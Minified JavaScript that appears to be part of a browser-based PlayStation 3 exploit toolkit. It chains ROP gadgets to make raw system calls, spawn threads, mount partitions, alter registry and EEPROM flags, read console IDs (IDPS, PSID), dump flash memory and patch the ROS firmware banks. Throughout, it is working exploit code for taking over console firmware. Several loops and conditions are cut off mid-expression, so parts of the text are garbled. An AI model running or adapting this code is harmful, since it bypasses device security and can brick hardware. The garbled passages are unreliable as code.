helper.rop.run(syscall32(helper.sys_ppu_thread_start,h)),helper.heap.free([u]),threadObject(h,a,p)}function threadObject(e,t,r){return{thread_id:e,stack_offset:t,stack_size:r}}function createThreadwithOPD(e,t,r,s,o,l){var n=(e=(e=dummy_frame()+e+ringBuzzer(3)+syscall32(helper.sys_ppu_thread_exit,0)).substr(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.substr(288,328)+l.opd1.toString32()+e.substr(624)).length/2,i=(new Date,helper.stack.store(e)),a=helper.heap.store((i+128).toString32()),p=helper.heap.store(r,!0),c=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_create,c,l.opd3,a,0,s,o,t,p));var d=helper.memory.upeek32(c+4);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,d)),helper.heap.free([c,p,a]),{thread_id:d,stack_offset:i,stack_size:n}}function vset_r30_r31(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget3_addr)+fill(88,helper.dbyte41)+vhexdw2bin(e)+vhexdw2bin(t)}function vset_r3to11(e,t,r,s,o,l,n,i,a,p,c,d){return vset_r30_r31()+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+fill(4,helper.dbyte41)+hexw2bin(n)+fill(16,helper.dbyte41)+vhexdw2bin(p)+vhexdw2bin(c)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget5_addr)+fill(96,helper.dbyte41)+vhexdw2bin(d)}function vcall_subByOpd(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget8_addr)+fill(88,helper.dbyte41)}function vsyscall32(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget7_addr)+fill(104,helper.dbyte41)}function vstore_r3_word(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr+4)+fill(96,helper.dbyte41)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr)+fill(96,helper.dbyte41)+vhexdw2bin(t)}function vringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),vsyscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function createExternalResourceThread(e,t,r,s,o,l){helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+65536).toString32()+"0000000000000000"+r.toAscii8()),e=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+e+vsyscall32(helper.sys_ppu_thread_exit,0),helper.memory.upokes(l+65536,e),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,s,o,t,l+32));var n=helper.memory.upeek32(l+28);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,n)),Logger.info("Started External Thread with ID: 0x"+n.toString(16)),{thread_id:n,stack_offset:l+65536,stack_size:e.length/2}}function startThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_start,e))}function joinThread(e){var t=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_join,e,t));var r=helper.memory.upeek32(t+4);return helper.heap.free([t]),r}function stopThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_stop,e)+syscall32(helper.sys_ppu_thread_exit,0))}function runNewThreadAndWait(e,t,r,s,o){return 0===joinThread(createThread(e,t,r,s,o))?0:1}function sleep(e){helper.rop.run(syscall32(helper.sys_timer_sleep,e))}function usleep(e){helper.rop.run(syscall32(helper.sys_timer_usleep,e))}function ringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),syscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function mountPartition(e,t,r,s){if(!fsitem_exists(r)){var o=helper.heap.store(e,!0),l=helper.heap.store(t,!0),n=helper.heap.store(r,!0),i=!0===r.startsWith("/dev_usb")?helper.heap.store():0;null==s&&(s=0);var a=helper.rop.rrun(syscall32(helper.sc_fs_mount,o,l,n,0,s,0,i,0));return helper.heap.free(0===i?[o,l,n]:[o,l,n,i]),a}return 0}function unmount_partition(e){return e&&e.length>6&&fsitem_exists(e)?unmountPartition(e):0}function unmountPartition(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(syscall32(helper.sc_fs_unmount,t,0,0));return helper.heap.free([t]),r}function unmount_altdevblind(){unmount_partition("/dev_rebug"),unmount_partition("/dev_wflash"),unmount_partition("/dev_rwflash")}function deleteXRegistryKey(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),s=x3.xRegistryDeleteKey(r,t,0);return helper.heap.free([t]),s}function setXRegistryValue(e,t,r,s){var o=helper.heap.store(e,!0),l=helper.heap.store(1024),n=0;s>0?(Logger.info("setXRegistryValue storing new xreg string "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l):"NaN"!==parseInt(t)?(Logger.info("setXRegistryValue storing new xreg integer "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)),n=parseInt(t)):(Logger.info("setXRegistryValue storing new xreg value "+t+" as string at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l);var i=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),a=x3.xRegistrySetValue(helper.memory.upeek32(i+68),o,n,r,s);return helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,i,o,l)),helper.heap.free([o,l]),a}function getXRegistryValueInt32(e){var t=helper.heap.store(),r=helper.heap.store(e,!0),s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,s,r,t));var o=helper.memory.upeek32(t);return helper.heap.free([t,r]),o}var xRegistry=function(){var e=0;this.xopen=function(){if(0===e){var t=helper.heap.store(),r=x3.xRegistryGetDefaultInstance(1,t);if(0!==r)Logger.error("getXRegistryDefaultInstance error: 0x"+r.toString(16));else if(e=helper.memory.upeek32(t),Logger.info("xopen: xRegistryGetDefaultInstance instance: 0x"+e.toString(16)),0===e){alert("no xRegistry instance with x3 method, trying alternative method");var s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));s>0?(e=helper.memory.upeek32(s+68),Logger.info("xopen: xRegistry instance: 0x"+e.toString(16))):Logger.error("xopen error getting default instance")}helper.heap.free([t])}return e},this.xclose=function(){if(e>0){var t=x3.xRegistryDestroyInstance(e);0===t?e=0:Logger.error("xclose error: 0x"+t.toString(16))}},this.xadd=function(t,r,s,o){if(0===this.xopen())return Logger.error("xadd: default xRegistry object instance error"),null;var l=0,n=[];"number"==typeof t&&t>0?l=t:"string"==typeof t&&t.length>0&&(l=helper.heap.store(t,!0),n.push(l));var i=helper.heap.store(1024),a=0;s>0||isNaN(r)?(helper.memory.upokes(i,r,!0),a=i):isNaN(r)||(a=parseInt(r));var p=0;return l>0&&0!==(p=x3.xRegistryAddKey(e,l,a,o,s))&&Logger.error("xadd error: 0x"+p.toString(16)),n.length>0&&helper.heap.free(n),p},this.xdelete=function(e){if(0===this.xopen())return Logger.error("xdelete: default xRegistry object instance error"),null;var t=0,r=[];"number"==typeof e&&e>0?t=e:"string"==typeof e&&e.length>0&&(t=helper.heap.store(e,!0),r.push(t));var s=0;return t>0&&0!==(s=x3.xRegistryDeleteKey(t,1))&&Logger.error("xdelete error: 0x"+s.toString(16)),r.length>0&&helper.heap.free(r),s},this.xget=function(t){if(0===this.xopen())return Logger.error("xget: default xRegistry object instance error"),null;var r=0,s=0,o=0,l=0,n=0,i="",a=[],p=null;try{if("object"==typeof t&&t.pointer>0&&t.setting.length>9)r=t.pointer,i=t.setting;else{if(!("string"==typeof t&&t.length>9))throw Error("invalid _setting argument");r=helper.heap.store(t,!0),a.push(r),i=t}var c=helper.heap.store(16);a.push(c);var d=x3.xRegistryGetValue(e,r,c+12,c,c+4,c+8),u=helper.memory.upeeks(c,16);if(0===d&&(Logger.info(i+" : "+u),s=parseInt(u.substr(16,8),16),o=parseInt(u.substr(8,8),16),l=parseInt(u.substr(0,8),16),p={error:d,setting:i,value:n=(n=parseInt(u.substr(-8),16))>268435456&&o>0&&l>0?helper.memory.secure_upeeks(n,l+1,!0):o>0?"":n,length:l=o>0&&0===n.length?0:l,type:o},s>0)){var h=x3.xRegistryDestroy(s);0!==h&&Logger.error("xget xRegistryDestroy error: 0x"+h.toString(16))}}catch(e){Logger.info(e)}finally{return helper.heap.free(a),p}},this.xset=function(t,r,s,o){if(0===this.xopen())return Logger.error("xset cannot get default xRegistry object instance"),null;var l=helper.heap.store(t,!0),n=[l],i=0,a=0;if(s>0||isNaN(r))i=helper.heap.store(1024),helper.memory.upokes(i,r,!0),a=i,n.push(i);else{if(isNaN(r))return Logger.error("xset argument error value: "+r),helper.heap.free(n),-1;a=parseInt(r)}var p=x3.xRegistrySetValue(e,l,a,o,s);return 0!==p&&Logger.error("xset error: 0x"+p.toString(16)),helper.heap.free(n),p},this.xgetList=function(t){if(0===this.xopen())return Logger.error("xgetList cannot get default xRegistry object instance"),null;var r=helper.heap.store(t,!0),s=helper.heap.store(16),o=x3.xRegistryGetList(e,r,s,s+4,s+8);0!==o&&Logger.error("xgetList error: 0x"+o.toString(16));var l=helper.memory.upeek32(s),n=helper.memory.upeek32(s+4),i=helper.memory.upeeks(s+8,6),a=[parseInt(i.substr(0,4),16),parseInt(i.substr(4,4),16),parseInt(i.substr(8,4),16)];return helper.heap.free([r,s]),{error:o,setting:t,list:l,length:n,unk3:a}},this.xdestroyList=function(e){var t=0;return"number"==typeof e&&e>0&&0!==(t=x3.xRegistryDestroyList(e))&&Logger.error("xdestroyList error: 0x"+t.toString(16)),t}};function getExdataPath(){return helper.profileId||(helper.profileId=getXRegistryValueInt32("/setting/user/lastLoginUserId").toString32()),"/dev_hdd0/home/"+helper.profileId+"/exdata/"}function getMinVer(){var e=helper.heap.store(40),t=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24593,1,e,0,0,0,0,0)),r=0===t?helper.memory.upeek8(e+1).toString(16)+"."+helper.memory.upeek8(e+3).toString(16):0;return helper.heap.free([e]),{version:r,error:0===t?0:t.toString(16)}}function setEEPROMValue(e,t){return helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24588,e,t,0,0,0,0))}function getEEPROMValue(e){var t=helper.heap.store(8),r=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24587,e,t,0,0,0,0));Logger.info("getEEPROMValue: ret 0x"+r.toString(16)+" value 0x"+helper.memory.upeek32(t+4).toString(16));var s=0===r?helper.memory.upeek32(t+4).toString(16):0;return helper.heap.free([t]),{value:0===s?"":s.toUpperCase(),error:0===r?0:r.toString(16)}}function setRecoverFlag(){return setEEPROMValue(298081,255)}function getRecoverModeFlag(){var e=getEEPROMValue(298081);return{flag:e.value,error:e.error}}function getProductModeFlag(){var e=getEEPROMValue(297991);return{flag:e.value,error:e.error}}function getFSELFFlag(){var e=getEEPROMValue(297990);return{flag:e.value,error:e.error}}function getBootFlag(){var e=getEEPROMValue(298020);return{flag:e.value,error:e.error}}function getIDs(){var e=helper.heap.store(56),t=[],r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102402,e,0,0,0,0,0));return t.push({id:"Product Code",value:0===r?helper.memory.upeek8(e+15).toString(16).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102403,e+16,0,0,0,0,0)),t.push({id:"IDPS",value:0===r?helper.memory.upeeks(e+16,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102404,e+32,0,0,0,0,0)),t.push({id:"Product SubCode",value:0===r?helper.memory.upeeks(e+36,2,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102405,e+40,0,0,0,0,0)),t.push({id:"PSID",value:0===r?helper.memory.upeeks(e+40,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),helper.heap.free([e]),t}function getMtldrVersion(e){var t=helper.heap.store(512);if(0!==e.read(1,4,{offset:t,size:512}))return"";var r=helper.memory.upeeks(t+32,16,!0);return helper.heap.free([t]),r}function is_norflash(){var e=helper.heap.store(4);helper.rop.run(syscall32(helper.sc_ssgcf,e));var t=!(1&helper.memory.upeek8(e)),r=t?"NOR":"NAND";return Logger.info("Detected Flash Memory Type: "+r),helper.heap.free([e]),t}var lwmutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=sysPrxForUser.lwmutex_create(s,e);return r=0===o?helper.memory.upeek32(s):0,helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_destroy,r)):-1;return r=0===e?0:r,e}},mutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_mutex_create,s,e));return r=0===o?helper.memory.upeek32(s):0,0===o?Logger.info("Mutex created - handle: 0x"+r.toString(16)):Logger.error("Mutex creation failed - error: 0x"+o.toString(16)),helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_mutex_destroy,r)):-1;return 0===e?Logger.info("Mutex closed - handle: 0x"+r.toString(16)):Logger.error("Mutex closing failed - handle: 0x"+r.toString(16)+" error: 0x"+e.toString(16)),r=0===e?0:r,e}},semaphoreObject=function(e){var t=helper.heap.store(e),r=helper.heap.store(4),s=helper.heap.store(),o=helper.heap.store(52),l=0,n=0,i="",a="",p="";this.create=function(){var e=helper.rop.rrun(syscall32(helper.sys_sem_create,r,t,0,1));return l=0===e?helper.memory.upeek32(r):0,0===e?Logger.info("Semaphore created - handle: 0x"+l.toString(16)):Logger.error("Semaphore creation failed - error: 0x"+e.toString(16)),l>0&&(a=syscall32(helper.sys_sem_post,l,1),p=syscall32(helper.sys_sem_getvalue,l,s),(n=helper.rop.rrun(syscall32(helper.sys_process_getpid)))>0&&(i=syscall32(helper.sys_dbg_get_seminfo,n,l,o))),e},this.id=function(){return l},this.getValue=function(){if(l>0){helper.memory.upoke32(ptr,4294967295),helper.rop.run(p);var e=helper.memory.upeek32(ptr);return 4294967295===e?-1:e}return-1},this.trywait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_trywait,l)):-1},this.wait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_wait,l,e||0)):-1},this.post=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_post,l,e||1)):-1},this.fast_post=function(){l>0&&helper.rop.run(a)},this.numWaitThreads=function(){if(Logger.debug("numWaitThreads: Semaphore ID "+l.toString(16)+" Process ID "+n.toString(16)+" Info data at 0x"+o.toString(16)),l<=0||n<=0||i.length<=0)return Logger.error("numWaitThreads: Not Ready"),-1;helper.memory.upoke32(o+48,4294967295);var e=helper.rop.rrun(i);if(e>0)return Logger.error("numWaitThreads: error 0x"+e.toString(16)),-1;var t=helper.memory.upeek32(o+48);return Logger.debug("numWaitThreads: Waiting Threads count: "+t.toString(16)),4294967295===t?-1:t},this.close=function(){var e=l>0?helper.rop.rrun(syscall32(helper.sys_sem_close,l)):-1;return 0===e?Logger.info("Semaphore closed - handle: 0x"+l.toString(16)):Logger.error("Semaphore closing failed - handle: 0x"+l.toString(16)+" error: 0x"+e.toString(16)),0===(l=0===e?0:l)&&helper.heap.free([s]),e}},fileObject=function(e,t){Logger.info("File Object Creation: "+e),this.path=helper.heap.store(e,!0),this.fd=-1,this.buffer={offset:0,size:0},this.mode=t||helper.fs_flag_readonly,this.getsize=function(){var e=helper.heap.store(128);lockMutexes();var t=helper.rop.rrun(syscall32(helper.sc_fs_stat,this.path,e));unlockMutexes();var r=0===t?helper.memory.upeek32(e+helper.stat_size_offset):0;return helper.heap.free([e]),r},this.size=this.getsize(),this.chmod=function(e){var t=4294967295;return e>=273&&e<=1911&&(lockMutexes(),t=helper.rop.rrun(syscall32(helper.sc_fs_chmod,this.path,e)),lockMutexes()),0!==t&&Logger.error("File Object chmod: failed to apply permissions 0x"+e.toString(16)),t},this.open=function(t){var r=0;if(this.fd<0){Logger.info("File Object open"),this.mode=t||this.mode;var s=helper.heap.store("DEADBEEF"),o=helper.heap.store();lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_open,this.path,this.mode,s,helper.fs_mode,o)),unlockMutexes();var l=helper.memory.upeek32(s);this.fd=3735928559!==l?l:-1,helper.heap.free([s,o]),(0!==r||this.fd<0)&&Logger.error("File Object open: failed to open "+e)}return r},this.close=function(t){var r=0;return this.fd>=0&&(lockMutexes(),r=helper.rop.rrun(syscall32(helper.sc_fs_close,this.fd)),unlockMutexes(),t&&this.buffer&&this.buffer.offset>0&&helper.buffer.free([this.buffer.offset]),0!==r?Logger.error("File Object close: failed to close "+e):(this.fd=-1,Logger.info("File Object closed"))),r},this.load=function(t,r,s,o){var l=2415919103;if(this.size<=0)return Logger.info("File Object load: no data to load in "+e),l;if(0!==(l=this.open(s))||this.fd<0)return l;t=t||this.size;var n=r||null;if(n||(helper.buffer.free([this.buffer.offset]),this.buffer=helper.buffer.create(t),n=this.buffer),n.size0)return l=2332033023,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(n.offset<268435456)return l=2348810239,Logger.error("File Object.load: Buffer size = 0x"+n.size.toString(16)+" bytes. Cannot buffer 0x"+t.toString(16)+" bytes of data at 0x"+n.offset.toString(16)+" - error: 0x"+l.toString32()),l;if(Logger.info("File Object load: Size 0x"+t.toString(16)+" Buffer offset 0x"+n.offset.toString32()),lockMutexes(),parseInt(o)===o){var i=helper.heap.store();l=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,o,0,i)),Logger.info("File Object load: Seeking file position 0x"+o.toString(16)),0===l&&o===helper.memory.upeek32(i)||Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" seek operation failed"),helper.heap.free([i])}var a=helper.heap.store(8);l=helper.rop.rrun(syscall32(helper.sc_fs_read,this.fd,n.offset,t,a)),unlockMutexes();var p=helper.memory.upeek32(a+4);return helper.heap.free([a]),0!==l||p!==t?Logger.error("File Object load error:"+l>0?" 0x"+l.toString(16):" Loaded 0x"+p.toString(16)+" bytes but expected size is 0x"+load_size.toString(16)+" bytes.
File loading error"):Logger.info("File Object load: Data loaded successfully"),l},this.save=function(e,t,r,s){var o=2415919103,l=e||this.buffer;if(l.offset>=0&&l.size>=t&&t>0){var n=helper.heap.store(8);if(0!==(o=this.open(r||helper.fs_flag_create_rw))||this.fd<0)return o;if(lockMutexes(),parseInt(s)===s){var i=helper.heap.store();o=helper.rop.rrun(syscall32(helper.sc_fs_lseek,this.fd,s,0,i)),Logger.info("File Object save: Seeking file position 0x"+s.toString(16)),0===o&&s===helper.memory.upeek32(i)||Logger.error("File Object save error:"+o>0?" 0x"+o.toString(16):" seek operation failed"),helper.heap.free([i])}o=helper.rop.rrun(syscall32(helper.sc_fs_write,this.fd,l.offset,t,n)),unlockMutexes(),Logger.info("File Object save: Size 0x"+t.toString(16)+" Buffer offset 0x"+l.offset.toString32());var a=helper.memory.upeek32(n+4);Logger.info("File Object save: Number of bytes written to file 0x"+a.toString(16)),helper.heap.free([n]),a!==t?(this.size+=a,Logger.error("File Object save error: Number of bytes saved 0x"+a.toString(16)+" - Expected number of bytes to save 0x"+t.toString(16))):this.size+=t}else o=l.sizet.tls.size)return this.error.code=2415919099,void(this.error.msg="ROSHashObject creation failure - TLS storage size too low");stdc.memset(o,255,s),this.ret=[],this.rlen=[],this.log=[],this.sfx=[];var l=t.dump_start,n=t.data_buffer.offset;this.log[0]="Multithreaded ROS banks Hashing Operations:
Storage Object read - Number of Sectors: 0x"+28672..toString(16);for(var i="",a=0;aStorage Object read - Current Sector: 0x"+l.toString(16)+"
Storage Object read - Current Memory Buffer Offset: 0x"+n.toString(16),l+=helper.step_sector,n+=helper.step_sector*e.sector_size;this.log[0]+="
Storage Object read operation complete",this.sfx[0]=i,this.hash_r0=o,this.hash_r1=o+32;var p=e.is_nor(),c=p?16:48,d=p?7340048:7340064;Logger.info("ROSHashObject: ROS0 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+c).toString(16)),Logger.info("ROSHashObject: ROS0 SHA256 Hash Offset: 0x"+this.hash_r0.toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Calculation Start Offset: 0x"+(t.data_buffer.offset+d).toString(16)),Logger.info("ROSHashObject: ROS1 SHA256 Hash Offset: 0x"+this.hash_r1.toString(16)),i=p?"":vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+7340032+helper.patchfile_size,0,32),i+=vset_r30_r31()+vset_r30_r31()+vset_r30_r31()+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r1,t.data_buffer.offset+d,helper.patchfile_size),this.log[1]+="
Calculated ROS 1 Hash",this.sfx[1]=i;var u=vset_r30_r31()+vset_r30_r31()+vset_r30_r31();i=p?"":u+vcall_subByOpd(stdc.getOPDbyName("memset"),t.data_buffer.offset+helper.patchfile_size,0,48),i+=u+vcall_subByOpd(sdk.getOPDbyName("cellCryptoPuSha256Hash"),this.hash_r0,t.data_buffer.offset+c,helper.patchfile_size),this.log[2]+="
Calculated ROS 0 Hash",this.sfx[2]=i}else this.error.msg+="Storage Object cannot open"},patchObject=function(e,t){if(this.error={code:0,msg:""},!e||!t)return this.error.code=2415919098,void(this.error.msg="patchObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code){var r=t.sector_count/helper.step_sector/2,s=2*r*8,o=t.data_buffer.offset+t.data_buffer.size-1048576;stdc.memset(o,255,s),this.ret=[],this.wlen=[],this.log=[],this.sfp=[];for(var l=0,n=0,i="",a=0;a<2;a++){l=0===a?t.data_buffer.offset+t.offset_data.ros0:t.data_buffer.offset+t.offset_data.ros1,n=t.patch_start+a*(t.sector_count/2),this.log[a]+="Patch Object mt_write - Operation "+a.toString()+" - Number of Sectors: 0x"+(t.sector_count/2).toString(16)+" - Sector Start: 0x"+n.toString(16),this.wlen[a]=[],this.ret[a]=[];for(var p=0;pStorage Object write - Current Sector: 0x"+n.toString(16)+"
Storage Object write - Current Memory Buffer Offset: 0x"+l.toString(16),l+=helper.step_sector*e.sector_size,n+=helper.step_sector;this.log[a]+="
Patch Object mt_write - Operation "+a.toString()+" Completed",this.sfp[a]=i,i=""}this.log[1]+="
Patch Object Operations complete"}else this.error.msg+="Storage Object cannot open"},dumpObject=function(e,t,r){if(this.error={code:0,msg:""},!e||!r)return this.error.code=2415919098,void(this.error.msg="dumpObject creation failure - bad arguments");if(this.error.code=e.open(),0===this.error.code)if(this.error.code=t.open(helper.fs_flag_create_rw),0===this.error.code){r.nsec_iter=r.nsec_iter*e.sector_size<=r.buffer.size?r.nsec_iter:r.buffer.size/e.sector_size;var s=parseInt(r.dump_start)===r.dump_start?r.dump_start:0,o=Math.floor(r.sector_count/r.nsec_iter),l=r.sector_count-o*r.nsec_iter,n=Math.floor(r.nsec_iter/helper.step_sector),i=Math.floor(l/helper.step_sector),a=l-i*helper.step_sector,p=r.nsec_iter-n*helper.step_sector;if(0===o)this.error.code=2415919103,this.error.msg+="Arguments error: obj.sector_count % obj.nsec_iter must be 0 & obj.sector_count>obj.nsec_iter";else{var c=(o+1)*(n+1)*8+12*(o+1)+8*(i+1),d=r.tls.offset;stdc.memset(d,255,c),this.rret=[],this.rlen=[],this.wret=[],this.wlen=[],this.log=[],this.sfr=[],this.sfw=[];var u=r.save_offset>0?helper.patchfile_size:r.nsec_iter*e.sector_size,h=l*e.sector_size,g=0;this.log[0]="Multithreaded Dump Operations:
";for(var f="",_=0;_Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[_]=[],this.rlen[_]=[];for(var m=0;mDump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;p>0&&(this.rret[_][n]=d,this.rlen[_][n]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,p,g,this.rlen[_][n],34,0)+vstore_r3_word(this.rret[_][n]),this.log[_]+="
Dump Object mt_read - Current Sector: 0x"+s.toString(16)+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=p,g+=p*e.sector_size),this.sfr[_]=f,this.log[_]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[_]=d,this.wret[_]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,u,this.wlen[_])+vstore_r3_word(this.wret[_]),this.sfw[_]=f}if(l>0){for(f="",g=r.buffer.offset,this.log[o]="
Dump Object mt_read - Number of Sectors: 0x"+r.nsec_iter.toString(16),this.rret[o]=[],this.rlen[o]=[],m=0;mDump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=helper.step_sector,g+=helper.step_sector*e.sector_size;a>0&&(this.rret[o][i]=d,this.rlen[o][i]=d+4,d+=8,f+=vsyscall32(helper.sc_ssr,e.device_handle,0,s,a,g,this.rlen[o][i],34,0)+vstore_r3_word(this.rret[o][i]),this.log[o]+="
Dump Object mt_read - Current Sector: 0x"+s.toString32()+"
Dump Object mt_read - Current Memory Buffer Offset: 0x"+g.toString32(),s+=a,g+=a*e.sector_size),this.sfr[o]=f,this.log[o]+="
Dump Object mt_read operation complete
Dump Object mt_save: Save Operations - Data Size 0x"+u.toString(16)+" Buffer offset 0x"+(r.buffer.offset+r.save_offset).toString32()+"
Dump Object mt_save: Save Operations - Complete",this.wlen[o]=d,this.wret[o]=d+8,d+=12,f=vsyscall32(helper.sc_fs_write,t.fd,r.buffer.offset+r.save_offset,h,this.wlen[o])+vstore_r3_word(this.wret[o])+"",this.sfw[o]=f}}}else this.error.msg+="File Object in mode RW cannot open";else this.error.msg+="Storage Object cannot open"},storageObject=function(){this.device_handle=-1,this.current_sector=0,this.step_sector=helper.step_sector,this.buffer={offset:0,size:0};var e=helper.heap.store();this.totalsec=0,this.sector_size=0;var t=is_norflash();this.flash_type=t?UInt64("0100000000000004"):UInt64("0100000000000001"),this.is_nor=function(){return t},this.open=function(){var e=0;if(this.device_handle<=0){var t=helper.heap.store();e=helper.rop.rrun(syscall(helper.sc_sso,this.flash_type,0,t));var r=helper.memory.upeek32(t);if(helper.heap.free([t]),0!==e||r<=0)return Logger.error("Storage Object open: failed to open"),this.device_handle=-1,e;if(Logger.info("Storage Object opened"),this.device_handle=r,0===this.totalsec||0===this.sector_size){Logger.info("Storage Object get_device_info");var s=helper.heap.store(64);e=helper.rop.rrun(syscall(helper.sc_ssgdi,this.flash_type,s)),this.totalsec=helper.memory.upeek32(s+44),this.sector_size=helper.memory.upeek32(s+48),Logger.info("Storage Object Sector size: 0x"+this.sector_size.toString(16)+" bytes - Total Number of Sectors: 0x"+this.totalsec.toString(16)),helper.heap.free([s]),0!==e&&Logger.error("Storage Object get_device_info: failed to get data")}}return e},this.read=function(t,r,s){var o="Storage Object read - Number of Sectors: 0x"+t.toString(16),l=-1;if(0!==this.open()||this.device_handle<=0)return Logger.error("Storage Object read aborted"),l;this.current_sector=r||this.current_sector;var n=tStorage Object read - Current Sector: 0x"+this.current_sector.toString(16)+"
